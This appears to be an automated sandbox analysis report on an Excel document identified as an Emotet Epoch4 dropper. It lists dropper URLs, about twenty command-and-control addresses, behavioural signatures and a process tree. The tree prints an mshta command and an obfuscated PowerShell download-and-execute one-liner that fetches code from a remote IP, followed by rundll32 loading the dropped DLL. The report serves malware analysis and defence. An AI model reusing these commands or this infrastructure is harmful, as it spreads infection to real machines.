Analysis

  • max time kernel
    132s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    27/01/2022, 18:43

General

  • Target
    tmpd4kfko8w.xls
  • Size 154KB
  • Sample220127-xczz2shbaj
  • SHA256 46b74fac05a7428da03cdcca9dac4b91fa96143e0af71e40a30ff3f0e3d74af9
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 51.15.4.22:443

  • 173.214.173.220:8080

  • 212.237.5.209:443

  • 192.254.71.210:443

  • 216.158.226.206:443

  • 162.243.175.63:443

  • 212.24.98.99:8080

  • 58.227.42.236:80

  • 45.118.115.99:8080

  • 104.251.214.46:8080

  • 185.157.82.209:8080

  • 46.55.222.11:443

  • 188.40.137.206:8080

  • 81.0.236.90:443

  • 103.75.201.2:443

  • 129.232.188.93:443

  • 195.154.133.20:443

  • 159.8.59.82:8080

  • 79.172.212.216:8080

  • 138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpd4kfko8w.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:524
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3116
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/zqqw/zaas/fe.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:1544
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3268
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3492
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2108
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:3252
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ghzar\svyvrhbaod.hoi",shfMbxGSxM
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1564
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ghzar\svyvrhbaod.hoi",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1748
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 1544 -s 1688
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4084

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/524-393-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

        memory/524-391-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

        memory/524-131-0x00007FF937180000-0x00007FF937190000-memory.dmp

        memory/524-132-0x00007FF937180000-0x00007FF937190000-memory.dmp

        memory/524-394-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

        memory/524-118-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

        memory/524-392-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

        memory/524-122-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

        memory/524-119-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

        memory/524-120-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

        memory/524-121-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

        memory/1564-346-0x0000000000C50000-0x0000000000C75000-memory.dmp

        memory/1748-349-0x0000000004570000-0x0000000004595000-memory.dmp

        memory/1748-351-0x0000000004C10000-0x0000000004C35000-memory.dmp

        memory/2108-329-0x0000000004ED1000-0x0000000004EF2000-memory.dmp

        memory/3252-343-0x0000000005350000-0x0000000005375000-memory.dmp

        memory/3252-339-0x0000000005210000-0x0000000005235000-memory.dmp

        memory/3252-341-0x00000000052F0000-0x0000000005315000-memory.dmp

        memory/3252-336-0x0000000004DE0000-0x0000000004E05000-memory.dmp

        memory/3252-345-0x0000000005510000-0x0000000005535000-memory.dmp

        memory/3252-334-0x0000000003351000-0x0000000003372000-memory.dmp

        memory/3268-320-0x000001E3E2366000-0x000001E3E2368000-memory.dmp

        memory/3268-313-0x000001E3FB0C0000-0x000001E3FB136000-memory.dmp

        memory/3268-302-0x000001E3E2363000-0x000001E3E2365000-memory.dmp

        memory/3268-301-0x000001E3E2360000-0x000001E3E2362000-memory.dmp

        memory/3268-300-0x000001E3E2970000-0x000001E3E29AC000-memory.dmp

        memory/3268-281-0x000001E3E2480000-0x000001E3E24A2000-memory.dmp